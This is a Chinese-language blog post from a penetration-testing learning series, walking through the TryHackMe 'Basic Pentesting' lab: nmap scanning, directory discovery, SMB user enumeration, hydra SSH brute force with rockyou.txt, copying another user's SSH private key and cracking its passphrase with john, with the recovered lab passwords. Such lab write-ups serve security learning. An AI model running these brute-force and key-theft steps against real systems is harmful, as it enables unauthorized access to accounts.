iT邦幫忙

2021 iThome 鐵人賽

DAY 6
1
Security

我想學滲透測試喵喵喵喵!!!!系列 第 6

[Day6] THM Basic Pentesting

今天開始來打一題 Try Hack Me 的題目吧!這一題可以學習到幾種常見的暴力破解相關技術。

掃 Port

當我們只拿到一個 IP 卻不知道可以如何下手時,第一步可以嘗試掃 Port,我使用了 nmap 程式來掃 Port,-A 代表 Enable OS detection, version detection, script scanning, and traceroute

  • nmap -A 10.10.165.235
    •   Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-24 04:40 EDT
        Nmap scan report for 10.10.165.235
        Host is up (0.27s latency).
        Not shown: 994 closed ports
        PORT     STATE SERVICE     VERSION
        22/tcp   open  ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
        | ssh-hostkey: 
        |   2048 db:45:cb:be:4a:8b:71:f8:e9:31:42:ae:ff:f8:45:e4 (RSA)
        |   256 09:b9:b9:1c:e0:bf:0e:1c:6f:7f:fe:8e:5f:20:1b:ce (ECDSA)
        |_  256 a5:68:2b:22:5f:98:4a:62:21:3d:a2:e2:c5:a9:f7:c2 (ED25519)
        80/tcp   open  http        Apache httpd 2.4.18 ((Ubuntu))
        |_http-server-header: Apache/2.4.18 (Ubuntu)
        |_http-title: Site doesn't have a title (text/html).
        139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
        445/tcp  open  netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
        8009/tcp open  ajp13       Apache Jserv (Protocol v1.3)
        | ajp-methods: 
        |_  Supported methods: GET HEAD POST OPTIONS
        8080/tcp open  http        Apache Tomcat 9.0.7
        |_http-favicon: Apache Tomcat
        |_http-title: Apache Tomcat/9.0.7
        Service Info: Host: BASIC2; OS: Linux; CPE: cpe:/o:linux:linux_kernel
      
        Host script results:
        |_clock-skew: mean: 1h20m01s, deviation: 2h18m34s, median: 0s
        |_nbstat: NetBIOS name: BASIC2, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
        | smb-os-discovery: 
        |   OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
        |   Computer name: basic2
        |   NetBIOS computer name: BASIC2\x00
        |   Domain name: \x00
        |   FQDN: basic2
        |_  System time: 2021-07-24T04:41:05-04:00
        | smb-security-mode: 
        |   account_used: guest
        |   authentication_level: user
        |   challenge_response: supported
        |_  message_signing: disabled (dangerous, but default)
        | smb2-security-mode: 
        |   2.02: 
        |_    Message signing enabled but not required
        | smb2-time: 
        |   date: 2021-07-24T08:41:04
        |_  start_date: N/A
      
        Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
        Nmap done: 1 IP address (1 host up) scanned in 52.95 seconds
      
    • 可以發現我們開啟的 Port 有以下幾個,可以透過版本上網查詢有沒有相關的漏洞可以使用
      • 22 SSH
      • 80 HTTP
        • Apache/2.4.18
        • 沒有相關漏洞
      • 139、445 SMB
        • 沒有相關漏洞
      • 8009 AJP13
        • 沒有相關漏洞
      • 8080 Tomcat
        • 沒有相關漏洞

訪問網頁

  • 這邊可以採用 dirsearch 的程式進行掃描
    • python3 dirsearch.py -u http://10.10.165.235/ -e all
    • 就會發現掃到網頁有一個沒有公開的路徑 development
  • Question1 : What is the name of the hidden directory on the web server(enter name without /)?
    • development
  • 我們試著用瀏覽器觀察/development/,可以找到裡面有兩封Email
    • 分別是一個自稱 J 跟 自稱 K 的人在對話

枚舉使用者名稱

  • 這邊我採用 enum4linux 來暴力的透過 SMB 協定尋找使用者的帳號
    • enum4linux 10.10.165.235 -a
    • 跑了幾分鐘後,我們找到了兩個
      • kayjan 的使用者名稱
  • 在這邊,我也嘗試了使用 OpenSSL 的 CVE-2016-6210 漏洞

暴力破解密碼

  • 在前面,我們已經取得了 kayjan 這兩個使用者的名稱,因此可以試著對這兩組帳號進行暴力破解
    • 暴力破解在線的服務可以使用 hydra
      • -l 使用者名稱
      • -P 字典檔
    • 而暴力破解字典檔我使用 rockyou.txt
      • 可以從 Github 上下載到
  • 使用 hydrarockyou.txt 暴力破解
    • hydra -l kay -P /opt/rockyou.txt ssh://10.10.165.235
    • hydra -l jan -P /opt/rockyou.txt ssh://10.10.165.235
    • 跑了一陣子後,我們就可以舉得
    • jan 的密碼是 armando

嘗試以 ssh 登入 jan

  • ssh jan@10.10.165.235
    • 我們已經成功的以 jan 的帳密登入了,下一個步驟是試著橫向移動到 kay 的使用者
  • 登入進 jan 使用者後,發現可以訪問 /home/kay/pass.bak , 不過我們沒有 pass.bak 的訪問權限
  • 發現 kay 資料夾底下有 /home/kay/.ssh 資料夾
    • 裡面有 ssh 的 private key,通常有這個檔案代表使用者建立完後忘記刪除,我們可以透過這個檔案來進行 SSH 免密碼登入
  • 將檔案傳出來
    • 這邊我在本地端使用了 scp 的指令,以 jan 的身分走 ssh 的通道傳輸資料
      • scp -r jan@10.10.165.235:/home/kay/.ssh .
  • 試著透過 ssh key 進行登入
    • 首先需要設定權限為 600
      • chmod 600 id_rsa
    • 再透過 ssh 指令 -i 進行登入
      • ssh kay@10.10.165.235 -i id_rsa
      • 發現它的 id_rsa 有密碼 QQ
      • 我們要設法破解它的 id_rsa 密碼

破解 SSH Key 密碼

  • 這邊我預計採用 john 來破解密碼
    • 首先須要先把 ssh key 轉換為 john 格式
    • python ssh2john.py id_rsa > john_ssh
    • 將資料轉換成 john 看得懂的 hash 值
  • 再使用 john 與 rockyou 的 Wordlist 進行暴力破解
    • john john_ssh --wordlist=/opt/rockyou.txt
    • 取得密碼為 beeswax

使用 kay 的 Key 與密碼登入 SSH

  • 順利登入後,即可取得最終的 Flag

心得

感覺這個題目不斷的在做暴力破解的動作,感覺滿無聊的 QQ。不過在現實生活中,暴力破解、使用弱密碼真的是非常常見的事情。


上一篇
[Day5] Process
下一篇
[Day7] THM Source
系列文
我想學滲透測試喵喵喵喵!!!!30

尚未有邦友留言

立即登入留言